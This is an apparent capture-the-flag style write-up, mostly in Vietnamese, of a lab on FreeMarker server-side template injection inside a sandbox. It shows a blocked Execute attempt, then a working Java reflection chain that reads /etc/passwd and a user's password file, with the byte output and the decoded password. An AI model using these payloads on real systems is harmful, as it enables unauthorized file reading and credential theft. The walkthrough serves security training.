



Server-side template injection in a sandboxed environment

I. Information Gathering.

-Theo như miêu tả, ta được biết trước là trang sử dụng Freemaker engine và đang thực hiện 1 dạng sandbox nào đó. Mục tiêu là cần phải đọc được file `my_password.txt` .




Server-side template injection in a sandboxed environment


LAB Not solved 

[Submit solution](#) [Back to lab description >>](#)


[Home](#) | [My account](#)

WE LIKE TO


SHOP 




Balance Beams
★ ★ ★ ★ ★ \$80.52
[View details](#)



Sprout More Brain Power
★ ★ ★ ★ ★ \$35.32
[View details](#)



Snow Delivered To Your Door
★ ★ ★ ★ ★ \$29.60
[View details](#)



Fur Babies
★ ★ ★ ★ ★ \$74.02
[View details](#)

-Với tính chất của bài lab này, ta sẽ đăng nhập bằng tài khoản được cho sẵn và đi vào 1 bài viết về sản phẩm để thử khai thác.

Template:

<p>If you've ever been stuck in a traffic jam I expect you've been jealous to look up and see those brave youngsters doing their freerunning and parkour overhead. No waiting around for them, always first to the office on a bad traffic day.</p>
<p>With our innovative Balance Beams, you can now escape the daily rat race and head up there with the rest of them. No need to spend months in training and age is not a barrier with these handy foldaway planks of wood. Just head up to the roof of your building, unfold them to the length of the space you need to traverse and off you go.</p>
<p>Fully adjustable you will be able to travel a distance of up to 20 meters. The complete kit comes with a handy foldaway parachute for those extra windy days, and a neat little canvas bag for when they're not in use. Each plank is treated with a special non-slip coating to give extra strength and durability. We do recommend not wearing flip-flops or any other open-toe shoes while in use.</p>

[Preview](#)[Save](#)

<p>If you've ever been stuck in a traffic jam I expect you've been jealous to look up and see those brave youngsters doing their freerunning and parkour overhead. No waiting around for them, always first to the office on a bad traffic day.</p> <p>With our innovative Balance Beams, you can now escape the daily rat race and head up there with the rest of them. No need to spend months in training and age is not a barrier with these handy foldaway planks of wood. Just head up to the roof of your building, unfold them to the length of the space you need to traverse and off you go.</p> <p>Fully adjustable you will be able to travel a distance of up to 20 meters. The complete kit comes with a handy foldaway parachute for those extra windy days, and a neat little canvas bag for when they're not in use. Each plank is treated with a special non-slip coating to give extra strength and durability. We do recommend not wearing flip-flops or any other open-toe shoes while in use.</p>

-Ta lại thử cách cũ mà ta đã sử dụng trước đây, tất nhiên là trang sẽ cấm ta, lý do thì về cơ bản là không được chèn `freemarker.template.utility.Execute` vào template.

Template:

<p> <#assign ex="freemarker.template.utility.Execute"?new()>\${7 * 7} </p>

[Preview](#)[Save](#)

<p> FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons. ---- FTL stack trace ("~" means nesting-related): - Failed at: #assign ex = "freemarker.template.uti... [in template "freemarker" at line 1, column 5] ---- Java stack trace (for programmers): ---- freemarker.core._MiscTemplateException: [... Exception message was already printed; see it above ...] at freemarker.core._MessageUtil.newInstantiatingClassNotAllowedException(_MessageUtil.java:297) at freemarker.core.TemplateClassResolver\$2.resolve(TemplateClassResolver.java:69) at freemarker.core.NewBI\$ConstructorFunction.<init>(NewBI.java:61) at freemarker.core.NewBI._eval(NewBI.java:51) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.MethodCall._eval(MethodCall.java:55) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.Assignment.accept(Assignment.java:134) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)

-Sau khi thử 1 hồi, ta nhận thấy có lẽ là nó cấm rất nhiều thứ và xác nhận là nó dựa trên việc xác nhận là loại lớp nào được khởi tạo. Ta cũng để ý là từ 1 vật thể cho

trước, ta cũng có thể gọi hàm `getClass()`, bản thân nó sẽ trả về 1 vật thể của lớp `java.lang.Class`.

Template:

```
<p>
<#assign test1 = "freemarker.template.utility">
<#assign test2 = ".Execute">
<#assign sh = (test1 + test2)?new()>
<#assign pb = product.getClass()>
${pb}
</p>
```

Preview

Save

<p> FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons. ---- FTL stack trace ("~" means nesting-related): - Failed at: #assign sh = (test1 + test2)?new() [in template "freemarker" at line 4, column 1] ---- Java stack trace (for programmers): ---- freemarker.core._MiscTemplateException: [... Exception message was already printed; see it above ...] at freemarker.core._MessageUtil.newInstantiatingClassNotAllowedException(_MessageUtil.java:297) at freemarker.core.TemplateClassResolver\$2.resolve(TemplateClassResolver.java:69) at freemarker.core.NewBI\$ConstructorFunction.<init>(NewBI.java:61) at freemarker.core.NewBI._eval(NewBI.java:51) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.MethodCall._eval(MethodCall.java:55) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.Assignment.accept(Assignment.java:134) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)

-Vật thể thuộc lớp trên lại tồn tại 1 phương thức gọi là `.getProtectionDomain()` bản thân nó sẽ trả về lớp `java.security.ProtectionDomain`, lớp này lại chứa các thông tin liên quan đến các quyền và nguồn mã của lớp đó.

Template:

```
<p>
${product.getClass().getProtectionDomain()}
</p>
```

Preview

Save

<p> ProtectionDomain (file:/opt/jars/freemarker.jar <no signer certificates>)jdk.internal.loader.ClassLoaders\$AppClassLoader@38bc8ab5 <no principals> java.security.Permissions@31fa1761 (("java.lang.RuntimePermission" "exitVM") ("java.io.FilePermission" "/opt/jars/freemarker.jar" "read")) </p>

-Từ lớp trên, ta lại có thể gọi phương thức `.getCodeSource()`, trả về vật thể lớp `CodeSource`, cho biết mã nguồn của lớp này đến từ file nào. Trong vật thể lớp `CodeSource` lại chứa phương thức `.getLocation()`, nó sẽ trả về đường dẫn chính xác của

file đó, đúng hơn là vật thể của lớp `java.net.URL`, từ đó lại gọi được phương thức `.toURI()` trả về vật thể của lớp `java.net.URI`, lại gọi tiếp được `.resolve('/đường/dẫn/đến/file')` trả về vật thể cũng của lớp `java.net.URI`, nhưng đường dẫn không phải file chứa đoạn code về lớp `product` mà là file được đề cập ở đường dẫn truyền vào. Như vậy thì rõ ràng là ta đã có thể tạo 1 lớp mà trở tới được 1 file nào đó.

Template:

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd')}
```

Preview

Save

<p> file:/etc/passwd </p>

-Từ lớp `java.net.URI`, tương tự, ta sử dụng `.toURL()` để chuyển lại về vật thể lớp `java.net.URL`, lớp này lại có phương thức `.openStream()`, nó mở 1 luồng cho phép đọc dữ liệu ở 1 file ở dạng vật thể, vật thể này lại có phương thức `.readAllBytes()` cho phép nó đọc tất cả các byte của file và trả về 1 mảng các byte (`byte[]`). Cuối cùng là `join(" ")`, là 1 hàm của freemarker cho phép gom nhóm 1 vật thể quản lý nhiều vật thể khác và biểu diễn chúng dưới dạng 1 chuỗi ký tự, mỗi vật thể được biểu diễn lại cách nhau 1 dấu cách, như vậy là ta đã tìm được cách để lấy được file ra dưới 1 dạng nào đó.

Template:

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes().join(" ")}
```

Preview

Save

```
114 111 111 116 58 120 58 48 58 48 58 114 111 111 116 58 47 114 111 111 116 58 47 98 105 110 47 98 97 115 104 10 100 97 101 109 111 110 58 120 58 49 58
49 58 100 97 101 109 111 110 58 47 117 115 114 47 115 98 105 110 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 98 105 110 58
120 58 50 58 50 58 98 105 110 58 47 98 105 110 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 115 121 115 58 120 58 51 58 51 58
115 121 115 58 47 100 101 118 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 115 121 110 99 58 120 58 52 58 54 53 53 51 52 58
115 121 110 99 58 47 98 105 110 58 47 98 105 110 47 115 121 110 99 10 103 97 109 101 115 58 120 58 53 58 54 48 58 103 97 109 101 115 58 47 117 115 114
47 103 97 109 101 115 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 109 97 110 58 120 58 54 58 49 50 58 109 97 110 58 47 118 97
114 47 99 97 99 104 101 47 109 97 110 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 108 112 58 120 58 55 58 55 58 108 112 58 47
118 97 114 47 115 112 111 111 108 47 108 112 100 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 109 97 105 108 58 120 58 56 58
56 58 109 97 105 108 58 47 118 97 114 47 109 97 105 108 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 110 101 119 115 58 120
58 57 58 57 58 110 101 119 115 58 47 118 97 114 47 115 112 111 111 108 47 110 101 119 115 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103
105 110 10 117 117 99 112 58 120 58 49 48 58 49 48 58 117 117 99 112 58 47 118 97 114 47 115 112 111 111 108 47 117 117 99 112 58 47 117 115 114 47 115
98 105 110 47 110 111 108 111 103 105 110 10 112 114 111 120 121 58 120 58 49 51 58 49 51 58 112 114 111 120 121 58 47 98 105 110 58 47 117 115 114 47
115 98 105 110 47 110 111 108 111 103 105 110 10 119 119 119 45 100 97 116 97 58 120 58 51 51 58 51 51 58 119 119 119 45 100 97 116 97 58 47 118 97 114
47 119 119 119 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 98 97 99 107 117 112 58 120 58 51 52 58 51 52 58 98 97 99 107 117
112 58 47 118 97 114 47 98 97 99 107 117 112 115 58 47 117 115 114 47 115 98 105 110 47 110 111 108 111 103 105 110 10 108 105 115 116 58 120 58 51 56
```

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/đường/dẫn/đến/file/cần/đọc').toURL().openStream().readAllBytes().join(" ")}
```

II. Exploitation.

-Tương tự, với payload như vậy, ta sẽ sử dụng nó để đọc file `my_password.txt` , có 1 vấn đề nhỏ là làm sao ta có thể chuyển hết những byte này thành kí tự.

Template:

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes().join(" ")}
```

Preview

Save

110 54 54 112 55 118 55 103 53 56 97 119 104 115 116 117 118 120 97 101

-Ta có thể truy cập vào trang [sau](#), nó cho phép ta đổi từ nhiều loại biểu diễn thông tin khác nhau sang các loại được liệt kê tại đó.

ASCII, Hex, Binary, Decimal, Base64 converter

Enter [ASCII text](#) or hex/binary/decimal numbers:

Open File

× Reset

Number delimiter

Space

☐ 0x/0b prefix

ASCII text

n66p7v7g58awhstuvxae

Hex (bytes)

6E 36 36 70 37 76 37 67 35 38 61 77 68 73 74 75 76 78 61 65

Binary (bytes)

01100111 00110101 00111000 01100001 01110111 01101000 01110011
01110100 01110101 01110110 01111000 01100001 01100101

Decimal (bytes)

110 54 54 112 55 118 55 103 53 56 97 119 104 115 116 117 118 120
97 101

Base64

-Với mật khẩu có được, ta nộp kết quả và giải bài lab.

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#)

Template:

```
$(product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/home/carlos/my_password.txt").toURL().openStream().readAllBytes().join(""))
```

Preview

Save

110 54 54 112 55 118 55 103 53 56 97 119 104 115 116 117 118 120 97 101